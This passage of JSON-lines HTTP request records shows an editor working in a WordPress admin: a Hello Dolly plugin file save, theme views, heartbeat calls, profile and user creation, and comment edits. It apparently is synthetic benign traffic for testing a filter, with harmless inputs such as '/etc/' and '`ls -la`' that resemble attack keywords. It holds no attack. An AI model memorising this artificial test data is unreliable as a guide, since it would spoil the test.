+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line.%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later.%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09%24lang+++%3D+''%3B%0A%09if+(+'en_'+!%3D%3D+substr(+get_user_locale()%2C+0%2C+3+)+)+%7B%0A%09%09%24lang+%3D+'+lang%3D%22en%22'%3B%0A%09%7D%0A%0A%09printf(%0A%09%09'%3Cp+id%3D%22dolly%22%3E%3Cspan+class%3D%22screen-reader-text%22%3E%25s+%3C%2Fspan%3E%3Cspan+dir%3D%22ltr%22%25s%3E%25s%3C%2Fspan%3E%3C%2Fp%3E'%2C%0A%09%09__(+'Quote+from+Hello+Dolly+song%2C+by+Jerry+Herman%3A'+)%2C%0A%09%09%24lang%2C%0A%09%09%24chosen%0A%09)%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called.%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph.%0Afunction+dolly_css()+%7B%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+right%3B%0A%09%09padding%3A+5px+10px%3B%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+12px%3B%0A%09%09line-height%3A+1.6666%3B%0A%09%7D%0A%09.rtl+%23dolly+%7B%0A%09%09float%3A+left%3B%0A%09%7D%0A%09.block-editor-page+%23dolly+%7B%0A%09%09display%3A+none%3B%0A%09%7D%0A%09%40media+screen+and+(max-width%3A+782px)+%7B%0A%09%09%23dolly%2C%0A%09%09.rtl+%23dolly+%7B%0A%09%09%09float%3A+none%3B%0A%09%09%09padding-left%3A+0%3B%0A%09%09%09padding-right%3A+0%3B%0A%09%09%7D%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list="}
{"method": "GET", "target": "/wp-admin/theme-editor.php?file=style.css&theme=twentytwentyfive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=twentytwentyfour", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=3a1c1c1e-e2b2-47ca-a042-c99fe3ad52dd&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203350"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 218", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-13&data%5Bwp-check-locked-posts%5D%5B%5D=post-11&data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 82", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "interval=60&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=false"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=closed-postboxes&closed=dashboard_primary&hidden=&closedpostboxesnonce=0&page=dashboard"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 41", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=ajax-tag-search&tax=post_tag&q=bob"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 142", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1&_ajax_nonce=0"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 33", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-compression-test&test=1"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-link-ajax&search=hello&_ajax_linking_nonce=0"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=oembed-cache&post=1&_ajax_nonce=0"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203360.3913509845733642578125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 377", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "post_title=Bob's+quick+title&post_name=bobs-first-post-2&mm=11&jj=09&aa=2026&hh=05&mn=48&ss=08&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=80b31520db&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=13&edit_date=true&post_status=all"}
{"method": "POST", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 467", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": "_wpnonce=931bec229d&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=1&color-nonce=1c207de10d&admin_color=modern&admin_bar_front=1&locale=site-default&user_login=editor1&first_name=Bob&last_name=&nickname=editor1&display_name=editor1&email=editor1%40example.com&url=http%3A%2F%2Fblog.example&description=I+write+about+%2Fetc%2F+and+%3Cem%3Ecats%3C%2Fem%3E.&pass1=&pass2=&new_application_password_name=&action=update&user_id=1&submit=Update+Profile"}
{"method": "GET", "target": "/wp-admin/profile.php?updated=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": ""}
{"method": "POST", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 293", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": "action=createuser&_wpnonce_create-user=0a10e6c68f&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=author2&email=author2%40example.com&first_name=&last_name=&url=&pass1=Pw-for-author2-is-long%21&pass2=Pw-for-author2-is-long%21&send_user_notification=1&role=subscriber&createuser=Add+User"}
{"method": "GET", "target": "/wp-admin/users.php?update=add&id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 79", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=approved"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 81", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=unapproved"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 358", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": "newcomment_author=&newcomment_author_email=&newcomment_author_url=&action=replyto-comment&comment_ID=2&comment_post_ID=1&status=&position=-1&checkbox=1&mode=detail&_ajax_nonce-replyto-comment=465b2dff40&_wp_unfiltered_html_comment=8f43bb2d1f&content=Thanks%2C+Jo!+Try+%60ls+-la%60+and+%3Cb%3Ethen%3C%2Fb%3E+restart.&id=1&comments_listing=all&approve_parent=1"}
{"method": "GET", "target": "/wp-admin/comment.php?action=editcomment&c=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": ""}
{"method": "POST", "target": "/wp-admin/comment.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 613", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": "_wpnonce=e9770a5628&_wp_http_referer=%2Fwp-admin%2Fcomment.php%3Faction%3Deditcomment%26c%3D2&action=editedcomment&comment_ID=2&comment_post_ID=1&newcomment_author=Jo+Reader&newcomment_author_email=jo%40example.com&newcomment_author_url=https%3A%2F%2Fexample.org%2F&content=An+edited+comment%2C+it%27s+about+select+wines.&closedpostboxesnonce=b39bd4c73a&comment_status=1&mm=11&jj=09&aa=2026&hh=05&mn=45&ss=44&hidden_mm=11&cur_mm=11&hidden_jj=09&cur_jj=09&hidden_aa=2026&cur_aa=2026&hidden_hh=05&cur_hh=05&hidden_mn=45&cur_mn=49&comment_parent=0&save=Update&c=2&p=1&referredby=&_wp_original_http_referer=&noredir=1"}
